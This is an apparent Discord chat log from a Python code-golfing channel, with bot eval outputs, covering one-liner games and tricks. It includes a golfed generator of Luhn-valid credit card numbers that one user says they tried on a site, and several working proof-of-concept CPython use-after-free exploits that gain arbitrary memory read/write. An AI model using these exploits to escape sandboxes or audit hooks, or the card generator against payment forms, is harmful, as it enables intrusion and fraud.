[print(n)or quit()for _ in iter(int,1)if((n:=__import__('random').randrange(10**15,10**16))and not sum([int(n)*(2 if i&1 else 1)-(9 if int(n)*2>9 and i&1 else 0) for i,n in enumerate(str(n)[::-1])])%10)]
```changed the itertools import to `iter(int,1)`
Ah, alr
The last for can also be moved a space back
222?
Ihdk lol
!e ```py
print(len("[print(n)or quit()for _ in iter(int,1)if((n:=import('random').randrange(1015,1016))and not sum([int(n)*(2 if i&1 else 1)-(9 if int(n)*2>9 and i&1 else 0)for i,n in enumerate(str(n)[::-1])])%10)]"))
@old socket :white_check_mark: Your eval job has completed with return code 0.
202
Tried putting it in a str and i think it was 223
Well ye cuz the iter shortcut
Ig that shaved off like 20
I think some can be shortened because i do the i&1 check twice
Could prob get sub 200
Probably
you can remove gaps between keywords and numbers
9if int(n)*2>9and i&1else 0
remove space between else 0) for i,n in ... the for and )
probably remove the [] inside sum(...)
change 10**15,10**16 to 1e15,1e16
182 :0
[print(n)or quit()for _ in iter(int,1)if((n:=__import__('random').randrange(10**15,10**16))and not sum([x*2-9 if i&1 else x for i,x in enumerate([int(q)for q in str(n)][::-1])])%10)]
!e ```py
0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and()))))))))))))))))))))))))))))))))))))))))))))
@old socket :warning: Your eval job has completed with return code 0.
[No output]
can get it down to 157
>>> [quit(str(n))for _ in iter(int,1)if((n:=__import__('random').randrange(1e15,1e16))&~sum([x*2-9if i&1else x for i,x in enumerate(map(int,str(n)[::-1]))])%10)]
4979715390488741
not sure about the and not <-> &~ decision
but it works for normal boolean expressions
i have no idea about what this is but ok
got it down to 148 ```py
[quit(str(n))for _ in iter(int,1)if(n:=import('random').randrange(1e15,1e16))&~sum(x+(x-9)*(i&1)for i,x in enumerate(map(int,str(n)[::-1])))%10]
Whole python community coming together to make a credit card generator, you love to see it 😂
Can anyone beat this anyone?!!!!
Lol
don't know what it really does but ok
I made the original and anonymous took it out of hand
It gens a valid cc number
Using luhn algorithm
ok
It doesnt actually mean much tho, obv the numbers arent actually linked to any sort of account. The algo is mainly just a way for people to check if they made a mistake typing in a number
It’s also used on barcode scanners iirc
Nah it’s to gen a valid cc number. Just means the number will pass basic checks
I used it on a site and it worked
👀
So don’t use it tho
I had permission of owner
Yea, if it fails the check then i dont think a request will even be sent to check if the other credentials are right. Not sure tho
Yea but on a basic site like my friend’s it’ll work
👀
Yea it won’t
He had a e-commerce page he was setting up lol
He didn’t rlly get to that part yet
Lol
Lol
Figured it out, nvm
why flex 
haha
@bronze merlin show your tkinter program
idk ❔ ❔
any((globals().__setitem__(k,v)) for k,v in __import__('tkinter').__dict__.items()),(window:=Tk()),(x:=BooleanVar()),(window.geometry('500x500')),((label:=Label(window,text="Enter your delay for the auto clicker (second)",font=('Ubuntu',15,'bold'))).pack(side='top')),(y:=StringVar()),(entry:=(Entry(window,font=('Aerial',15),textvariable=y)).pack(padx=50,pady=25)), (checkbutt:=Checkbutton(window,variable=x,text="hello this is checkbox",font=("Aerial",15),onvalue=True,offvalue=False,command=(checkon:=(lambda: [((print("Hello world")),(__import__("time").sleep(int(y.get())))) for _ in (iter(int, 1) if x.get() else [])])))).pack(),(button:=Button(window,text='apply',font=("Aerial",15),command=(lambda: (y:=entry.get())))).pack(),window.mainloop()
this
maybe
👍
10/10 💯
i like the variation on from tkinter import *
what about putting the whole thing in a lambda
(tkprog := lambda : (any((globals().__setitem__(k,v)) for k,v in __import__('tkinter').__dict__.items()),(window:=Tk()),(x:=BooleanVar()),(window.geometry('500x500')),((label:=Label(window,text="Enter your delay for the auto clicker (second)",font=('Ubuntu',15,'bold'))).pack(side='top')),(y:=StringVar()),(entry:=(Entry(window,font=('Aerial',15),textvariable=y)).pack(padx=50,pady=25)), (checkbutt:=Checkbutton(window,variable=x,text="hello this is checkbox",font=("Aerial",15),onvalue=True,offvalue=False,command=(checkon:=(lambda: [((print("Hello world")),(__import__("time").sleep(int(y.get())))) for _ in (iter(int, 1) if x.get() else [])])))).pack(),(button:=Button(window,text='apply',font=("Aerial",15),command=(lambda: (y:=entry.get())))).pack(),window.mainloop()
))()```
is that an infinite loop in there too 👀
the best part is once you tell it to start the program becomes unresponsive
Wow wut
what if i do it like 1000000 times to generate an actual credit card
so much unneccesary whitespace
!e py print( [[[__import__][0]][0],[[chr][0]][0],[[print][0]][0],2][1](72) + [[[__import__][0]][0],[[chr][0]][0],[[print][0]][0],2][1](101) + [[[__import__][0]][0],[[chr][0]][0],[[print][0]][0],2][1](108) + [[[__import__][0]][0],[[chr][0]][0],[[print][0]][0],2][1](108) + [[[__import__][0]][0],[[chr][0]][0],[[print][0]][0],2][1](111))
@sick hound :white_check_mark: Your eval job has completed with return code 0.
Hello
not really esoteric, just came to my mind
!e
print("Hello")
golfed your code by 315 characters
@humble rune :white_check_mark: Your eval job has completed with return code 0.
Hello
!e
print('Hello')```
golfed your code by some pixels
@sick hound :white_check_mark: Your eval job has completed with return code 0.
Hello
I think it looks better with a little space though
whitespace bad
small code good
"whitespace" is your name .. you have to live up to that
im trying to make a coding and omori reference
def multiplication_table(size):return [list(map(lambda x:x*i,range(1,size+1))) for i in range(1,size+1)]```
lmao
how do i fix this py def get_even_numbers(arr): return list(filter(lambda x:[x&1],arr))
im trying to use bitwise and
!e
get_even_numbers=lambda a:[*filter(lambda x:x&1==0,a)]
print(get_even_numbers(range(10)))
@plucky plover :white_check_mark: Your eval job has completed with return code 0.
[0, 2, 4, 6, 8]
↑
what is the most complicated code whose sole purpose is to print the string "banana" to the console and nothing else
!e
print('a'.join(('b',f"{eval('-'.join(['1e500']*2))}",str())))
@languid hare :white_check_mark: Your eval job has completed with return code 0.
banana
classic js banana
f=lambda a:[*filter(lambda x:x&1==0,a)]
print(f(range(10)))```
Does this count? Just changed the name a litttle
yeah, ofc
does the opposite thing, but f=lambda a:[*filter(1 .__and__,a)]
!e ```py
Use After Free in io.BufferedReader
io = open.self
class UAF(io._RawIOBase):
def readinto(self, buf):
self.buf = buf.cast('P')
def readable(self):
return True
u = UAF()
b = io.BufferedReader(u, 56)
b.read(1) # store view of buffer on u (calls readinto)
use __init__ to free internal buffer instead of relying on GC
u.view = b.init(u) or bytearray()
at this point, if successful, u.buf is the memory that backs u.view
set size of u.view to the max value for PTR_SIZE
u.buf[2] = (pow(2, tuple.itemsize * 8) // 2) - 1
u.memory = memoryview(u.view)
def load_addr(addr):
T = (None,)
offset = id(T) + tuple.basicsize
container = u.memory[offset :offset + tuple.itemsize].cast('P')
try:
container[0] = addr
return T[0]
finally:
container[0] = id(None)
print(load_addr(id(1)))```
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
1
https://pwn.win/2022/05/11/python-buffered-reader.html found this article on it yesterday and wanted to write my own implementation
A while ago I was browsing the Python bug tracker, and I stumbled upon this bug - “memoryview to freed memory can cause segfault”. It was created in 2012, originally present in Python 2.7, but remains open to this day, 10 years later. This piqued my interest, so I decided to take a closer look.
haha
its fun to be able to get full mem r/w without needing a modified code object tho
!e
import io
class File(io.RawIOBase):
def readinto(self, buf):
global view
view = buf
def readable(self):
return True
f = io.BufferedReader(File())
f.read(1) # get view of buffer used by BufferedReader
del f # deallocate buffer
view = view.cast('P')
L = [None] * len(view) # create list whose array has same size
# (this will probably coincide with view)
view[0] = 0 # overwrite first item with NULL
print(L[0])
@languid hare :warning: Your eval job has completed with return code 139 (SIGSEGV).
[No output]
oh wow
!e
f=lambda a:[*filter(lambda x:~x&1,a)]
print(f(range(10)))
@wheat river :white_check_mark: Your eval job has completed with return code 0.
[0, 2, 4, 6, 8]
f=lambda a:[x for x in a if~x&1] this is shorter
I just wanted to make it longer for extra esotericity
!e
for i in range(4):
print(~i)
print(~i%1)
@glad moss :white_check_mark: Your eval job has completed with return code 0.
001 | -1
002 | 0
003 | -2
004 | 0
005 | -3
006 | 0
007 | -4
008 | 0
009 | -5
010 | 0
011 | -6
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/ufuteforun.txt?noredirect
!e @languid hare another one lol ```py
POC Exploit for Write After Free
https://github.com/python/cpython/issues/91153
to_write_after_free = bytearray(bytearray.basicsize)
class sneaky:
def index(self):
global to_corrupt_ob_exports, to_uaf
to_write_after_free.clear()
to_corrupt_ob_exports = bytearray(bytearray.basicsize)
to_uaf = memoryview(to_corrupt_ob_exports)
return 0
to_write_after_free[-8] = sneaky()
to_occupy_uaf = to_corrupt_ob_exports.clear() or bytearray()
view_backing = to_uaf.cast('P')
view = to_occupy_uaf
view_backing[2] = (pow(2, tuple.itemsize * 8) // 2) - 1
memory = memoryview(view)
def getmem(addr, size, fmt='c'):
return memory[addr: addr + size].cast(fmt)
def load_addr(addr):
T = (None,)
offset = id(T) + tuple.basicsize
container = getmem(id(T) + tuple.basicsize, tuple.itemsize, 'P')
try:
container[0] = addr
return T[0]
finally:
container[0] = id(None)
print(load_addr(id(1)))```
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
1
to_corrupt_ob_exports gets allocated into the space freed by to_write_after_free.clear(), letting me write a zero into its exporter field (despite me exporting it as to_uaf). That lets me trigger a UAF by clearing to_corrupt_ob_exports which leaves to_uaf pointing to the memory that was left behind. Then its just a matter of allocating a bytearray into that space and modifying its size using to_uaf
@radiant anchor ^ some more memory corruption on python, this time without building custom code objects
yup, saw that one (assuming it's the same one), very cool
btw I'm trying to compile a list of known cpython memory safety issues - I remember you mentioned another one a while back, what was it?
I posted 2 one is the one I saw on Twitter the other I found on the bug tracker and I don't think has a public poc yet
Uh probably the closure issue?
Where LOAD_DEREF didn't check if the object was actually a closure
oh nice
There's a doc I wrote up on my computer if you ping me later I can put it on GitHub and send you the link
cool thanks
The second one was tricky because the bug only lets you write one byte into the freed memory
In that one that was tweeted, they noted that id() is the only thing that'd get picked up by audit hooks, it would be fun to find an infoleak bug that means you don't even need id
You can use repr(object) on cpython
oh lol
!e print(object.repr(1)), print(hex(id(1)))
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
001 | <int object at 0x7f486e3fc0f0>
002 | 0x7f486e3fc0f0
You can just parse the address out of the repr lol
I also just realized that my second exploit doesn't need id until I implemented load_addr
lol that's funny
My second one gets full memory r/w without id lol
is that hec string any length or is it padded out to even size or anything ? 🤔
I think any length, but you can use slicing + .split to get it out pretty easily
wait why does repr do that .. oh it's object.__repr__
!e ```py
def myid(obj):
return int(object.repr(obj).split()[-1][:-1],16)
print(myid(1) == id(1))```
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
True
TIL int(x, 16) allows an 0x prefix
why does object have a __text_signature__ but other types don't ?
oh some do ? just not int and str
type doesn't either even though it can be called 2 ways
!e
from inspect import *
print(signature(complex))
print(signature(float))
print(signature(int))```
@rapid sparrow :x: Your eval job has completed with return code 1.
001 | (real=0, imag=0)
002 | (x=0, /)
003 | Traceback (most recent call last):
004 | File "<string>", line 4, in <module>
005 | File "/usr/local/lib/python3.10/inspect.py", line 3247, in signature
006 | return Signature.from_callable(obj, follow_wrapped=follow_wrapped,
007 | File "/usr/local/lib/python3.10/inspect.py", line 2995, in from_callable
008 | return _signature_from_callable(obj, sigcls=cls,
009 | File "/usr/local/lib/python3.10/inspect.py", line 2529, in _signature_from_callable
010 | raise ValueError(
011 | ValueError: no signature found for builtin type <class 'int'>
(d:=type('',(Exception,),{}),s:=setattr,ttt:=type('',(),{'row':3,'board':(b:=[[*range(i,i+3)] for i in range(1,10,3)]),'winner':None,'turn':{1:'x',0:'o'},'mapping':{b[i][j]:[i,j]for j in range(3)for i in range(3)}})(),s(ttt,'print_board',lambda:[print('|'.join(f"{i:^{ttt.row}}"for i in row),end=f'\n{"+".join(["-"*ttt.row]*ttt.row)}\n'if row!=ttt.board[-1]else'\n')for row in ttt.board]and None),s(ttt,'check_board',lambda:exec("[s(ttt,'winner',[*w][0])for i in range(3)if any(len(w:=set(i))==1for i in [[ttt.board[i][j]for j in range(3)],[ttt.board[j][i]for j in range(3)]])]")or exec("if len(w:={ttt.board[i][i]for i in range(3)})==1or len(w:={ttt.board[2-i][i]for i in range(3)})==1:ttt.winner=[*w][0]")),s(ttt,'value',lambda t:int(input(f"{t}'s turn: "))),s(ttt,'insert',lambda: [exec("if not ttt.mapping:raise d"),t:=ttt.turn[1],exec('try:''b=1;v=ttt.value(t);x,y=ttt.mapping[v];del ttt.mapping[v];ttt.turn[1],ttt.turn[0]=ttt.turn[0],ttt.turn[1];ttt.board[x][y]=t;\nexcept(KeyError,ValueError):b=0;print("invalid");'),ttt.check_board()]and None),s(ttt,'start',lambda: exec("while not ttt.winner:\n\ttry:ttt.print_board();ttt.insert();\n\texcept d:ttt.print_board();print('draw');break\nelse:ttt.print_board();print(f'{ttt.winner} won the game!')")),ttt.start())
god damn the syntax highlighter gave up
this is a one liner tic tac toe
took me like a solid 1hr 30mins to make
Nice
Now try to do it without eval/exec if you want another challenge
@wheat river if you attempt, feel free to ping me if you want tips/hints
Ah yes, I kinda cheated a little bit by using exec. Will try without them, probably have to change the original approach for that
Sure 🙂
That is amazing 😮
anything can be one liner if u use exec lmao
Here's a one-line rock-paper-scissors game I just made. Any possible golfs?
while 1:(lambda:(print("1 won")if((a:=input(),b:=input())[0]=="rock"and b=="scissors")or(a=="paper"and b=="rock")or(a=="scissors"and b=="rock")else print("tie")if a==b else print("invalid")if(a not in["paper","rock","scissors"]or b not in["paper","rock","scissors"])else print("2 won")))()```
if you allow the ; there are obvious ones
I generally don't use that, it's not as legit
Ok cool thanks!
then a lambda
(lambda R,P,S:while 1:(lambda:(print("1 won")if((a:=input(),b:=input())[0]==R and b==P)or(a==P and b==R)or(a==S and b==R)else print("tie")if a==b else print("invalid")if(a not in[P,R,S]or b not in[P,R,S])else print("2 won")))())("rock","paper","schissors")
also, the (a==S and b==R) is like (a,b)==(S,R)
Ok thx
(pow(2, tuple.__itemsize__ * 8) // 2) - 1 ?
(lambda R,P,S:while 1:(lambda:(print("1 won")if((a:=input(),b:=input())[0]==R and b==P)or(a,b)=(P,R)or(a,b)==(S,R)else print("tie")if a==b else print("invalid")if(a not in[P,R,S]or b not in[P,R,S])else print("2 won")))())("rock","paper","schissors")
also, you can replace boolean and by & and boolean or by |
isn't that just 2**(tuple.__itemsize__*8 - 1) - 1 or (1 << tuple.__itemsize__*8 - 1) - 1
you can't have a while loop inside of a lambda though
You'd have to do something like this
while 1:(lambda R,P,S:(lambda:(print("1 won")if((a:=input(),b:=input())[0]==R and b==P)or(a==P and b==R)or(a==S and b==R)else print("tie")if a==b else print("invalid")if(a not in[P,R,S]or b not in[P,R,S])else print("2 won")))())("rock","paper","scissors")
oh perfect
Yeah, lambda just has a return value
(lambda R,P,S:[(lambda:(print("1 won")if(((a:=input("P1: "),b:=input("P2: "))[0]==R and b==P)or(a,b)==(P,R)or(a,b)==(S,R))else print("tie")if a==b else print("invalid")if(a not in[P,R,S]or b not in[P,R,S])else print("2 won")))()for _ in iter(int,1)])("rock","paper","scissors")
actually that's getting nonsensical errors
yeah
yeah i had them
stuff like that
why did you have a lambda in the first place ?
fixed !```py
while 1:(lambda R,P,S:(print("1 won")if((a:=input(),b:=input())[0]==R and b==S)or(a==P and b==R)or(a==S and b==R)else print("tie")if a==b else print("invalid")if(a not in[P,R,S]or b not in[P,R,S])else print("2 won")))("rock","paper","scissors")
I get this:
[my input]: scissors
[my input]: paper
[result]: 2 won
mhh
fixed x2 ```py
(lambda R,P,S:[print("1 won")if(a:=input(),b:=input())in{(R,S),(P,R),(S,P)}else print("tie")if a==b else print("invalid")if(a not in[P,R,S]or b not in[P,R,S])else print("2 won")for _ in iter(int,1)])("rock","paper","scissors")
rock
paper
2 won
paper
rock
1 won
rock
scissors
1 won
scissors
rock
2 won
noice
even more golfed :
(lambda R,P,S,p:[p("1 won")if(a:=input(),b:=input())in{(R,S),(P,R),(S,P)}else p("tie")if a==b else p("invalid")if(a not in[P,R,S]or b not in[P,R,S])else p("2 won")for _ in iter(int,1)])("rock","paper","scissors",print)
when you replace the print with the argument 😂
sure you can do the same with the input :```py
(lambda R,P,S,p,i:[p("1 won")if(a:=i(),b:=i())in{(R,S),(P,R),(S,P)}else p("tie")if a==b else p("invalid")if(a not in[P,R,S]or b not in[P,R,S])else p("2 won")for _ in iter(int,1)])("rock","paper","scissors",print,input)
using de Morgan's law to golf :
(lambda R,P,S,p,i:[p("1 won")if(a:=i(),b:=i())in{(R,S),(P,R),(S,P)}else p("tie")if a==b else p("invalid")if(not a in[P,R,S]and b in[P,R,S])else p("2 won")for _ in iter(int,1)])("rock","paper","scissors",print,input)
Yea ik you can use 2** but that was code I wrote at like 2 am lol
Just needed a way to get max size of a n bit signed value
Awesome
next step : give it the shape of scissors
what do you mean?
also the 2 am code could've just did pow(2, tuple.__itemsize__*8 - 1) instead of pow(2, tuple.__itemsize__*8) // 2
Not quite scissors, but it's not horrible:
(lambda R,P,S,p
,i: [p( "1 won")
if(a:= i(),b:=
i())in {(R,S),
(P,R),(S,P)}
else p("tie"
)if a==
b else p(
"invalid")if(
not a in[P,R
,S]and b in[P,R,
S])else p("2 won")
for _ in iter(
int,1) ])("rock",
"paper", "scissors",
print, input)
# code by OsKaR31415
(lambda R,P,S,p,i: [p("1 won")
if(a :=i() ,b:=i())in
{(R,S),(P,R),(S,P)}else p("tie")if a==b
else p("invalid")
if(not a in[P,R,S]and b in[P,R,S])else
p( "2 won" )for _ in
iter(int,1)])("rock" ,"paper","scissors",print,input)
Even better
there is some wrapping
XD
i have to make it more scissors-like
the actual ascii-art is bad
looks pretty cool
but yeah there's a problem because the scissors won't cross
now it's pretty good :
(lambda R,P,S,p,i: [ print("1 won") if (a := i(">"),
b:= i(">" ))in{(R,S),(P,R),(S,P)}
else p("tie")if a==b else p(
"invalid")
if(not a in[P,R,S]and b in[
P,R ,S]) else p("2 won")for ___
in iter(int, 1)])( "rock","paper","scissors",print,input)
wdym ?
it looks horrible on mobile :P
there you go!
now it does :
(# a cutting-edge code by OsKaR31415 #)
(lambda R,p,i ,P,S:[p("1 won")if(a:=
i(), b:=i( ))in{(R,S),(P,R),(S
,P)} else p("tie")if a==b
else p("invalid")if( not
a in [P, R, S] and b in
[P,R ,S])else p("2 won")
for _ in iter(int,1)])("rock"
,print,input, "paper", "scissors"))
and it also fits the discord screen (at least mine)
i know they are a bit too long
but hey
ok

it looks horrible on mobile
help me
don't run that in a python file
challenge: exit(127) without using any names except attribute names, is an expression, is in one line, no imports, no direct using of constants (those stuff that get parsed into ast.Constant pre-optimization)
example: ```py
[].class.base.subclasses()[([[]]().class.itemsize).sizeof()].init.globals[[].doc[().class.itemsize+().class.itemsize+([]==[])]+[].doc[().class.itemsize([(),(),(),(),(),(),(),(),(),()].len())+().class.itemsize-([]==[])]+[].doc[().class.itemsize+().class.itemsize+([]==[])]].exit((().class.itemsize+().class.itemsize)*().class.itemsize-([]==[]))
can't use that now
What the duck
any real ones out there who enjoy making their code unreadable even if it doesnt save any characters
instead of F stringing i use the %s, %i methods
'777+%r'%a
f"777+{a!r}"
``` it saves characters for `repr`
nvm i am dumb it has come to my attention i am incorrect
thanks for pointing it out
yea lmao
looks like something else
!e @radiant anchor found another Use After Free. This one is in memoryview.__setitem__ ```py
memoryview Use After Free
uaf_backing = bytearray(bytearray.basicsize)
uaf_view = memoryview(uaf_backing).cast('P')
class sneaky:
def index(self):
global memory_backing
uaf_view.release() # release memoryview (UAF)
# free waf_backing memory and allocate a new bytearray into it
memory_backing = uaf_backing.clear() or bytearray()
return 2 # ob_size idx
by the time this line finishes executing, it writes the max ptr size
into the ob_size slot of memory_backing
uaf_view[sneaky()] = (2 ** (tuple.itemsize * 8) - 1) // 2
memory = memoryview(memory_backing)
T = (None,)
memory[id(T) + tuple.basicsize: id(T) + tuple.basicsize + tuple.itemsize].cast('P')[0] = id(T)
print(T)
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
((...),)
its way easier to use cause you can write up to 8 bytes
also this is the doc i wrote up on the closure issue: https://github.com/chilaxan/pysnippets/blob/main/gadget.py
while / for loops give me issues sometimes
true
this is like fucking awesome
ryuga is the god of golfing
Came up with that in seconds like dude, wtf
!e
from ctypes import *; lppy = cast((c_char_p * 32).from_address(id(False) - 160), py_object); print(id(lppy)); print(repr(lppy.value))```
@rapid sparrow :x: Your eval job has completed with return code 139 (SIGSEGV).
139984196616000
the message I get is a little bit funnier
free(): invalid pointer
zsh: abort (core dumped) python3.9 -c```
genius
have you guys ever seen this error
wtf
!e
import shelve; from ctypes import *; lppy= cast((c_char * 8).from_address(id([]) - 24), py_object); x = lppy; import inspect; print(dir(lppy.value))
@rapid sparrow :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | TypeError: object does not provide __dir__
how would you even get this error normally